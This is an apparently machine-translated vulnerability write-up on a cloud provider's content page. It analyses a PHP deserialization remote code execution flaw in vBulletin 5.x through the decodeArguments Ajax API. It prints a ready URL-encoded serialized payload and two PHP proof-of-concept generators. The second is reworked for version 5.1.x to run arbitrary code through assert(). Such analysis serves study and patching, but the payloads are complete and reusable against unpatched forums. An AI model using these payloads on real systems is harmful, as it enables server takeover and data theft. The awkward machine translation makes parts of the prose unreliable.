Unserialize (): vBulletin 5.x. x Remote Code Execution

Source: Internet
Author: User
Tags rewind vbulletin

Unserialize (): vBulletin 5.x. x Remote Code Execution

Recently, a vBulletin RCE exploitation and brief analysis were exposed. The cause of this vulnerability is that the vBulletin program uses unserialize () when processing Ajax API calls () the passed parameter values are deserialized, which causes the attacker to use the specially crafted Payload to directly cause code execution. For details about the deserialization vulnerability in PHP, refer to OWASP's PHP Object Injection.

Use the Payload provided in the original article to directly execute phpinfo (1) on the affected site ):

The construction process of Payload is also mentioned in this Article. However, when I tested vBulletin 5.1.x, I found that the original Payload was not successful and I was confused. However, after in-depth analysis, it is found that some code structures of the vBulletin program must be combined to get a more general Payload. After the analysis below, we can understand it.

0x00 deserialization trigger point Tracking

Although the trigger of the unserialize () function of this vulnerability has been clearly described in the exposure article, and the trigger process of the entire key code is also described, however, during in-depth tracking and analysis, I think there is something worth noting and learning.

http://172.16.96.130/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D

By observing the call stack when the server is processing PHP, we can see that when the server is processing the above request, ajax/api/hook/decodeArguments will be passed to the address routing process as the routing parameter $ _ REQUEST ['routestring. Because it complies with the ajax/api/[controller]/[method] Ajax API Request Routing format, handleAjaxApi () in the vB5_Frontend_ApplicationLight instance is called () function to load the corresponding module and call the processing function:

protected function handleAjaxApi(){    $routeInfo = explode('/', $_REQUEST['routestring']);         if (count($routeInfo) < 4)    {        throw new vB5_Exception_Api('ajax', 'api', array(), 'invalid_request');    }    $params = array_merge($_POST, $_GET);    $this->sendAsJson(Api_InterfaceAbstract::instance(Api_InterfaceAbstract::API_LIGHT)->callApi($routeInfo[2], $routeInfo[3], $params, true));}

The requested ajax/api/hook/decodeArguments will instantiate the hook class and then call the decodeArguments () function. The trigger point mentioned in the original text is here:

public function decodeArguments($arguments){    if ($args = @unserialize($arguments))    {        $result = '';         foreach ($args AS $varname => $value)        {            $result .= $varname;

Through deserialization, we can generate a class instance that has been defined in the context of the execution environment, and find a class instance that contains _ wakeup () or _ destruct () use the problematic classes of magic methods. The exploitation method mentioned in the original article is not like this. It uses the vB_dB_Result class inherited from the PHP iterator type, because $ args = @ unserialize ($ arguments) an instance of the vB_dB_Result class is generated. Therefore, the rewind () function is called before the foreach operation.

In the rewind () function processing process, the call is performed based on the instance variable status:

public function rewind(){    if ($this->recordset)    {        $this->db->free_result($this->recordset);    }

Here we can use deserialization to control the value of $ this-> recordset, and $ this-> db-> free_result will be called:

function free_result($queryresult){    $this->sql = '';    return @$this->functions['free_result']($queryresult);}

$ This-> functions ['free _ result'] the original initialization value is mysql_free_result. However, due to deserialization, we can also control db members in vB_dB_Result instances, change the corresponding functions ['free _ result'] to the function we want to execute. Therefore, any code execution is generated.

0x01 exploitation Analysis and Improvement

Observe the Payload construction PoC provided in the original article:

<?phpclass vB_Database {       public $functions = array();       public function __construct() {               $this->functions['free_result'] = 'phpinfo';       }}     class vB_dB_Result {       protected $db;       protected $recordset;       public function __construct() {               $this->db = new vB_Database();               $this->recordset = 1;       }}     print urlencode(serialize(new vB_dB_Result())) . "\n";

Through the analysis in the first part, we have understood the function call process and causes of the vulnerability, and have learned which parameters can be controlled and used. So here we modify $ this-> functions ['free _ result'] = 'assert '; and $ this-> recordset = 'var _ dump (md5 (1 )) ';, the final remote code execution function will be assert ('var _ dump (md5 (1 ))'):

At this time, the RCE was already very smooth, but during the test, it was found that the PoC provided in the original article can only reproduce vBulletin of version 5.0.x, but version 5.1.x is not. By setting up a test environment locally and using the same PoC for testing, we found that vB_Database was defined as an abstract class in version 5.1.x:

abstract class vB_Database{    /**     * The type of result set to return from the database for a specific row.     */

Abstract classes cannot be instantiated directly. The PoC provided in the original article is the value of the instantiated vB_Database class as a member db of the vB_dB_Result iterator, when the server is deserialized, it will fail because the instance needs to be restored as an abstract class:

This is why PoC fails in version 5.1.x. Then it is easy to solve this problem. By tracking the call stack, it is found that the program will call the autoload () method registered by the program to dynamically load class files when deserializing undefined classes. VBulletin calls uplodes/vb5/autoloader in sequence. in php, The _ autoload method and core/vb. in php, the autoload () method returns the result after successful loading, and deserialization fails if a failure occurs. Therefore, if you want to continue using the original PoC idea for deserialization, $ this-> db-> free_result ($ this-> recordset) will be executed ); you need to find a subclass that inherits from the vB_Database abstract class and its source code file path can be loaded during the autoload process.

By searching, the following classes are found to inherit the path of the vB_Database abstract class and its source code:

When the final code performs autoload, it will parse the passed class name to dynamically construct the source code file path to be loaded:

... Omit $ fname = str_replace ('_', '/', strtolower ($ class )). '. php'; foreach (self: $ _ paths AS $ path) {if (file_exists ($ path. $ fname) {include ($ path. $ fname); if (class_exists ($ class, false) {return true ;}

The above code exists in the _ autoload () of the first call. We can see that the provided class name is split with _, and the loading path is dynamically constructed (the second autoload () the process is roughly the same.) After a simple analysis, we can find that only when the backserialization vB_Database_MySQL and vB_Database_MySQLi are subclasses Based on the vB_Database abstract class, in order to successfully dynamically load the source code file where the class definition is located, so that the deserialization is successful, and finally the parameter can be controlled for arbitrary code execution.

Therefore, you can obtain the PoC of vBulletin version 5.1.x by using vB_Database_MySQL or vB_Database_MySQLi as the value of the db Member of the iterator vB_dB_Result. The PoC is as follows:

<?phpclass vB_Database_MySQL {       public $functions = array();       public function __construct() {               $this->functions['free_result'] = 'assert';       }}     class vB_dB_Result {       protected $db;       protected $recordset;       public function __construct() {               $this->db = new vB_Database_MySQL();               $this->recordset = 'print("This Vuln In 5.1.7")';       }}     print urlencode(serialize(new vB_dB_Result())) . "\n";

Run assert ('print ("This Vuln In 5.1.7 ")'):

Of course, PoC is not only for reference.

0x02 Summary

This exposure of vBulletin 5.x. x RCE vulnerability, from finding the trigger point to searching the object, to various automatic loading details, has to be said to be a good PHP deserialization vulnerability instance. Without careful analysis, we cannot find the original author's clear ideas and familiarity with the program.

In addition, Check Point also published another exploitation Point of deserialization on its official blog. By deserializing a template object, it finally calls the eval () function for execution (original ).

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.